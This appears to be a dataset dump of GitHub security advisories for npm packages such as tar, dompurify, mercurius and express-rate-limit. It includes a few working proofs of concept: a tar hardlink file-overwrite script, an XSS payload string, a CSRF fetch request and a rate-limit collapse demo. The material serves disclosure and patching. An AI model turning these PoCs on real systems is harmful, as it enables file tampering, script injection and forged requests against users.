deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-46wh-pxpv-q5gq
Package: express-rate-limit (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: >= 8.2.0, < 8.2.2
Patched in: 8.2.2

Summary: express-rate-limit: IPv4-mapped IPv6 addresses bypass per-client rate limiting on servers with dual-stack network

Details:
## Summary

The default `keyGenerator` in express-rate-limit applies IPv6 subnet masking (`/56` by default) to all addresses that `net.isIPv6()` returns true for. This includes IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`), which Node.js returns as `request.ip` on dual-stack servers.

Because the first 80 bits of all IPv4-mapped addresses are zero, a `/56` (or any `/32` to `/80`) subnet mask produces the same network key (`::/56`) for **every** IPv4 client. This collapses all IPv4 traffic into a single rate-limit bucket: one client exhausting the limit causes HTTP 429 for all other IPv4 clients.

## Details

### Root Cause

In `source/ip-key-generator.ts`:

```typescript
export function ipKeyGenerator(ip: string, ipv6Subnet: number | false = 56) {
  if (ipv6Subnet && isIPv6(ip)) {
    return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`
  }
  return ip
}
```

`net.isIPv6('::ffff:192.168.1.1')` returns `true`, so IPv4-mapped addresses enter the subnet masking path. With a `/56` prefix, the start address for any `::ffff:x.x.x.x` is `::`, producing the key `::/56`.

### Proof of Concept

```javascript
const { isIPv6 } = require('net');
const { Address6 } = require('ip-address');

function ipKeyGenerator(ip, ipv6Subnet = 56) {
  if (ipv6Subnet && isIPv6(ip)) {
    return `${new Address6(`${ip}/${ipv6Subnet}`).startAddress().correctForm()}/${ipv6Subnet}`;
  }
  return ip;
}

console.log(ipKeyGenerator('::ffff:192.168.1.1', 56)); // ::/56
console.log(ipKeyGenerator('::ffff:10.0.0.1', 56));    // ::/56
console.log(ipKeyGenerator('::ffff:8.8.8.8', 56));     // ::/56
// ALL produce '::/56' — same bucket
```

### End-to-End Validation

On a dual-stack Express server (`app.listen(port, '::')`), tested with Express 5.2.1:
- `request.ip` for IPv4 clients is `::ffff:127.0.0.1`
- Rate limit key resolves to `::/56`
- After `limit` requests from any IPv4 client, all other IPv4 clients receive 429

### When This Occurs

- Node.js dual-stack servers (default on Linux when listening on `::`)
- Any environment where `request.ip` contains IPv4-mapped IPv6 addresses
- Only affects the default `keyGenerator` (custom key generators are not affected)

## Impact

- **Denial of Service**: A single client can block all IPv4 traffic by exhausting the shared rate limit
- **Affects default configuration**: No special options needed to trigger this

## Affected Versions

All versions of express-rate-limit between v8.0.0 and v8.2.1.

## Fix

This issue was fixed in commit 14e53888cdfd1b9798faf5b634c4206409e27fc4. This fix has been included in release v8.3.0, and backported to all affected minor versions in the form of releases v8.2.2, v8.1.1, and v8.0.2.
GitHub Security Advisory: GHSA-x2g5-fvc2-gqvp
Package: flowise (NPM)
Severity: MODERATE (CVSS 4.1)
CWE: CWE-328: Use of Weak Hash, CWE-916: Use of Password Hash With Insufficient Computational Effort
Vulnerable versions: <= 3.0.12
Patched in: 3.0.13

Summary: Flowise has Insufficient Password Salt Rounds

Details:
### Description
The default bcrypt salt rounds is set to 5, which is below the recommended minimum for security.

### Affected Code
```
export function getHash(value: string) {
    const salt = bcrypt.genSaltSync(parseInt(process.env.PASSWORD_SALT_HASH_ROUNDS || '5'))
    return bcrypt.hashSync(value, salt)
}
```

### Evidence
Using 5 salt rounds provides 2^5 = 32 iterations, which is far below the OWASP recommendation of 10 (2^10 = 1024 iterations) for bcrypt. This makes password hashes vulnerable to brute-force attacks with modern hardware.

### Impact
Faster password cracking - in the event of database compromise, attackers can crack password hashes significantly faster than with proper salt rounds, potentially compromising all user accounts.

### Recommendation
Increase default PASSWORD_SALT_HASH_ROUNDS to at least 10 (recommended by OWASP). Consider using 12 for better security-performance balance. Document that higher values increase login time but improve security.

### Notes
The default bcrypt salt rounds is 5 (line 6), which provides only 2^5=32 iterations. OWASP recommends minimum 10 rounds (1024 iterations) for bcrypt. While configurable via PASSWORD_SALT_HASH_ROUNDS env var, the default matters because: (1) most deployments use defaults, (2) existing password hashes at 5 rounds remain vulnerable even if later increased. With modern GPUs, 5 rounds allows ~300,000 hashes/second vs ~10,000/second at 10 rounds - a 30x difference in cracking speed. In a database breach scenario, all user passwords could be cracked significantly faster. The same weak default is used in resetPassword (account.service.ts:568). This is a cryptographic weakness with real-world impact on password security.

**Detection Method:** Kolega.dev Deep Code Scan

| Attribute | Value |
|---|---|
| Severity | Medium |
| CWE | CWE-916 (Use of Password Hash With Insufficient Computational Effort) |
| Location | packages/server/src/enterprise/utils/encryption.util.ts:5-7 |
| Practical Exploitability | Medium |
| Developer Approver | faizan@kolega.ai |
GitHub Security Advisory: GHSA-573f-x89g-hqp9
Package: fastify (NPM)
Severity: MODERATE (CVSS 5.3)
CWE: CWE-185: Incorrect Regular Expression
Vulnerable versions: >= 5.7.2, <= 5.8.0
Patched in: 5.8.1

Summary: Fastify's Missing End Anchor in "subtypeNameReg" Allows Malformed Content-Types to Pass Validation

Details:
# Description

Fastify incorrectly accepts malformed `Content-Type` headers containing trailing characters after the subtype token, in violation of [RFC 9110 §8.3.1](https://httpwg.org/specs/rfc9110.html#field.content-type). For example, a request sent with `Content-Type: application/json garbage` passes validation and is processed normally, rather than being rejected with `415 Unsupported Media Type`.

When regex-based content-type parsers are in use (a documented Fastify feature), the malformed value is matched against registered parsers using the full string including the trailing garbage. This means a request with an invalid content-type may be routed to and processed by a parser it should never have reached.

## Impact

An attacker can send requests with RFC-invalid `Content-Type` headers that bypass validity checks, reach content-type parser matching, and be processed by the server. Requests that should be rejected at the validation stage are instead handled as if the content-type were valid.

## Workarounds

Deploy a WAF rule to protect against this

## Fix

The fix is available starting with v5.8.1.
GitHub Security Advisory: GHSA-v2wj-7wpq-c8vv
Package: dompurify (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 2.5.3, <= 2.5.8
Patched in: 2.5.9

Summary: DOMPurify contains a Cross-site Scripting vulnerability

Details:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `</noscript><img src=x onerror=alert(1)>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
GitHub Security Advisory: GHSA-v2wj-7wpq-c8vv
Package: dompurify (NPM)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 3.1.3, <= 3.3.1
Patched in: 3.3.2

Summary: DOMPurify contains a Cross-site Scripting vulnerability

Details:
DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `</noscript><img src=x onerror=alert(1)>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts.
GitHub Security Advisory: GHSA-v66j-6wwf-jc57
Package: mercurius (NPM)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: <= 16.3.0
Patched in: 16.4.0

Summary: Mercurius: Incorrect Content-Type parsing can lead to CSRF attack

Details:
### Summary

A Cross-Site Request Forgery (CSRF) vulnerability was identified in Mercurius versions 16. The issue arises from incorrect parsing of the `Content-Type` header in requests. Specifically, requests with `Content-Type` values such as `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain` could be misinterpreted as `application/json`. This misinterpretation bypasses the preflight checks performed by the `fetch()` API, potentially allowing unauthorized actions to be performed on behalf of an authenticated user.

---

### Impact

An attacker could exploit this vulnerability by crafting a malicious request with a `Content-Type` that Fastify incorrectly parses as `application/json`. When such a request is made from a different origin, it bypasses the Cross-Origin Resource Sharing (CORS) protections, leading to a potential CSRF attack. This could result in unauthorized actions being performed on behalf of an authenticated user without their consent.

---

### Proof of Concept

```javascript
// Server-side Fastify setup
const Fastify = require('fastify');
const mercurius = require('mercurius');

const app = Fastify();
const schema = `
  type Query {
    hello(name: String): String
  }
`;

const resolvers = {
  Query: {
    hello: (_, { name }) => `Hello ${name || 'World'}!`
  }
};

app.register(mercurius, { schema, resolvers });

app.listen(3000, () => {
  console.log('Server listening on http://localhost:3000');
});
```

```javascript
// Malicious client-side code
fetch('http://localhost:3000/graphql', {
  method: 'POST',
  body: JSON.stringify({ query: '{ hello(name: "attacker") }' }),
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded'
  },
  credentials: 'include'
});
```

In the above example, the malicious request is crafted to exploit the CSRF vulnerability by using a `Content-Type` that Fastify incorrectly parses as `application/json`.

---

### Mitigation

To address this vulnerability, CSRF protection has been implemented.

## References

* https://github.com/mercurius-js/mercurius/pull/1187
GitHub Security Advisory: GHSA-qffp-2rhf-9h96
Package: tar (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: <= 7.5.9
Patched in: 7.5.10

Summary: tar has Hardlink Path Traversal via Drive-Relative Linkpath

Details:
### Summary
`tar` (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as `C:../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.

### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` checks for `..` segments *before* stripping absolute roots.

What happens with `linkpath: "C:../target.txt"`:
1. Split on `/` gives `['C:..', 'target.txt']`, so `parts.includes('..')` is false.
2. `stripAbsolutePath()` removes `C:` and rewrites the value to `../target.txt`.
3. Hardlink creation resolves this against extraction `cwd` and escapes one directory up.
4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.

### PoC
Tested on Arch Linux with `tar@7.5.9`.

PoC script (`poc.cjs`):

```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```

Run:

```bash
cd test-workspace
node poc.cjs && ls -l ../target.txt
```

Observed output:

```text
PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt
```

`PWNED` confirms outside file content overwrite. Link count `2` confirms the extracted file and `../target.txt` are hardlinked.

### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files
GitHub Security Advisory: GHSA-9m84-wc28-w895
Package: ghost (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-352: Cross-Site Request Forgery (CSRF)
Vulnerable versions: >= 5.101.6, <= 6.19.2
Patched in: 6.19.3

Summary: Ghost has incomplete CSRF protections around OTC use

Details:
### Impact

Incomplete CSRF protections around `/session/verify` made it possible to use OTCs in login sessions different from the requesting session. In some scenarios this might have made it easier for phishers to take over a Ghost site. 

### Vulnerable versions

This vulnerability is present in Ghost from v5.101.6 up to v6.19.2.

### Patches

v6.19.3 contains a fix for this issue.

### How to update

For self-hosters using Docker, find [Docker's official Ghost image here](https://hub.docker.com/_/ghost). Updating a Docker-based Ghost instance [is documented here](https://docs.ghost.org/install/docker#updating-ghost). 

If a project's Ghost is a Ghost-CLI install see the documentation on [updating it to the latest version here](https://docs.ghost.org/update). 

### For more information

If there are any questions or comments about this advisory, send an email to [security@ghost.org](mailto:security@ghost.org).
GitHub Security Advisory: GHSA-vc89-5g3r-cmhh
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: <= 8.6.3
Patched in: 8.6.4

Summary: Parse Server's Cloud Hooks and Cloud Jobs bypass `readOnlyMasterKey` write restriction

Details:
### Impact

Parse Server's `readOnlyMasterKey` option allows access with master-level read privileges but is documented to deny all write operations. However, some endpoints incorrectly accept the `readOnlyMasterKey` for mutating operations. This allows a caller who only holds the `readOnlyMasterKey` to create, modify, and delete Cloud Hooks and to start Cloud Jobs, which can be used for data exfiltration.

Any Parse Server deployment that uses the `readOnlyMasterKey` option is affected. Note than an attacker needs to know the `readOnlyMasterKey` to exploit this vulnerability.

### Patches

The fix adds authorization checks, rejecting mutating requests made with the `readOnlyMasterKey`.

### Workarounds

There is no known workaround other than upgrading. If upgrading is not immediately possible, ensure the `readOnlyMasterKey` value is not shared with untrusted parties.

### Resources

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vc89-5g3r-cmhh
- Fixed in Parse Server 9.4.1-alpha.3: https://github.com/parse-community/parse-server/releases/tag/9.4.1-alpha.3
- Fixed in Parse Server 8.6.4: https://github.com/parse-community/parse-server/releases/tag/8.6.4
GitHub Security Advisory: GHSA-vc89-5g3r-cmhh
Package: parse-server (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-863: Incorrect Authorization
Vulnerable versions: >= 9.0.0, <= 9.4.1-alpha.2
Patched in: 9.4.1-alpha.3

Summary: Parse Server's Cloud Hooks and Cloud Jobs bypass `readOnlyMasterKey` write restriction

Details:
### Impact

Parse Server's `readOnlyMasterKey` option allows access with master-level read privileges but is documented to deny all write operations. However, some endpoints incorrectly accept the `readOnlyMasterKey` for mutating operations. This allows a caller who only holds the `readOnlyMasterKey` to create, modify, and delete Cloud Hooks and to start Cloud Jobs, which can be used for data exfiltration.

Any Parse Server deployment that uses the `readOnlyMasterKey` option is affected. Note than an attacker needs to know the `readOnlyMasterKey` to exploit this vulnerability.

### Patches

The fix adds authorization checks, rejecting mutating requests made with the `readOnlyMasterKey`.

### Workarounds

There is no known workaround other than upgrading. If upgrading is not immediately possible, ensure the `readOnlyMasterKey` value is not shared with untrusted parties.

### Resources

- GitHub security advisory: https://github.com/parse-community/parse-server/security/advisories/GHSA-vc89-5g3r-cmhh
- Fixed in Parse Server 9.4.1-alpha.3: https://github.com/parse-community/parse-server/releases/tag/9.4.1-alpha.3
- Fixed in Parse Server 8.6.4: https://github.com/parse-community/parse-server/releases/tag/8.6.4
GitHub Security Advisory: GHSA-5528-5vmv-3xc2
Package: multer (NPM)
Severity: HIGH (CVSS 0.0)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: < 2.1.1
Patched in: 2.1.1

Summary: Multer Vulnerable to Denial of Service via Uncontrolled Recursion

Details:
### Impact

A vulnerability in Multer versions < 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow.

### Patches

Users should upgrade to `2.1.1`

### Workarounds

None

### Resources

- https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2
- https://www.cve.org/CVERecord?id=CVE-2026-3520
- https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752
- https://cna.openjsf.org/security-advisories.html
GitHub Security Advisory: GHSA-8qp7-fhr9-fw53
Package: @backstage/plugin-scaffolder-backend (NPM)
Severity: LOW (CVSS 2.0)
CWE: CWE-532: Insertion of Sensitive Information into Log File
Vulnerable versions: <= 3.1.3
Patched in: 3.1.4

Summary: @backstage/plugin-scaffolder-backend Vulnerable to Potential Session Token Exfiltration via Log Redaction Bypass

Details:
### Impact

A malicious scaffolder template can bypass the log redaction mechanism to exfiltrate secrets provided run through task event logs.

The attack requires:
  - The ability to register a template in the catalog
  - A victim who executes the malicious template

### Patches
  Patched in `@backstage/plugin-scaffolder-backend` version 3.1.4

### Workarounds
  - Implement a custom permission policy that restricts scaffolder.task.read so users can only read their own task logs
  - Restrict who can register templates in the catalog to trusted users only

### Resources
  - Backstage Scaffolder permissions documentation: https://backstage.io/docs/permissions/plugin-authors/01-setup/
  - Backstage Threat Model: https://backstage.io/docs/overview/threat-model/
GitHub Security Advisory: GHSA-95v5-prp4-5gv5
Package: @backstage/integration (NPM)
Severity: LOW (CVSS 2.7)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.20.0
Patched in: 1.20.1

Summary: Backstage vulnerable to potential reading of SCM URLs using built in token

Details:
### Impact

A vulnerability in the SCM URL parsing used by Backstage integrations allowed path traversal sequences in encoded form to be included in file paths. When these URLs were processed by integration functions that construct API URLs, the traversal segments could redirect requests to unintended SCM provider API endpoints using the configured server-side integration credentials.

This affects instances that use any of the SCM integrations (GitHub, Bitbucket Server, Bitbucket Cloud) with the scaffolder or other features that accept user-provided SCM URLs.

###  Patches

This is patched in `@backstage/integration` version 1.20.1.

### Workarounds

There is no workaround for this vulnerability. Users should upgrade to the patched version.

###  References 

  - Backstage SCM integration documentation: https://backstage.io/docs/integrations/
GitHub Security Advisory: GHSA-928r-fm4v-mvrw
Package: @backstage/plugin-techdocs-node (NPM)
Severity: HIGH (CVSS 7.7)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), CWE-434: Unrestricted Upload of File with Dangerous Type
Vulnerable versions: <= 1.14.2
Patched in: 1.14.3

Summary: TechDocs Mkdocs Configuration Key Enables Arbitrary Code Execution

Details:
### Impact
This is a configuration bypass vulnerability that enables arbitrary code execution. The `@backstage/plugin-techdocs-node` package uses an allowlist to filter dangerous MkDocs configuration keys during the documentation build process. 

A gap in this allowlist allows attackers to craft an `mkdocs.yml` that causes arbitrary Python code execution, completely bypassing TechDocs' security controls.     

### Patches

Patched in `@backstage/plugin-techdocs-node` version 1.14.3

### Workarounds
If users cannot upgrade immediately:

1. Use Docker mode with restricted access: Configure TechDocs with `runIn: docker` instead of `runIn: local`. This provides container isolation, though it does not fully mitigate the risk.
2. Restrict repository access: Limit who can modify `mkdocs.yml` files in repositories that TechDocs processes. Only allow trusted contributors.
3. Manual review: Implement PR review requirements for changes to `mkdocs.yml` files to detect malicious hooks configurations before they are merged.
4. Downgrade MkDocs: Use MkDocs < 1.4.0 (e.g., 1.3.1) which does not support hooks. Note: This may limit access to newer MkDocs features.

Note: Building documentation in CI/CD pipelines using `@techdocs/cli` does not mitigate this vulnerability, as the CLI uses the same vulnerable `@backstage/plugin-techdocs-node` package.

### Resources
[MkDocs Hooks Documentation](https://www.mkdocs.org/user-guide/configuration/#hooks)
[MkDocs 1.4 Release Notes](https://www.mkdocs.org/about/release-notes/#version-14-2022-09-27)
[TechDocs Architecture](https://backstage.io/docs/features/techdocs/architecture)
GitHub Security Advisory: GHSA-xc68-rrqc-qgq3
Package: mcp-nmap-server (NPM)
Severity: MODERATE (CVSS 6.3)
CWE: CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection'), CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.0.1
Patched in: unpatched

Summary: MCP NMAP Server has an Injection vulnerability

Details:
A vulnerability was detected in PhialsBasement nmap-mcp-server up to bee6d23547d57ae02460022f7c78ac0893092e38. Affected by this issue is the function child_process.exec of the file src/index.ts of the component Nmap CLI Command Handler. The manipulation results in command injection. The attack may be performed from remote. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The patch is identified as 30a6b9e1c7fa6146f51e28d6ab83a2568d9a3488. It is best practice to apply a patch to resolve this issue.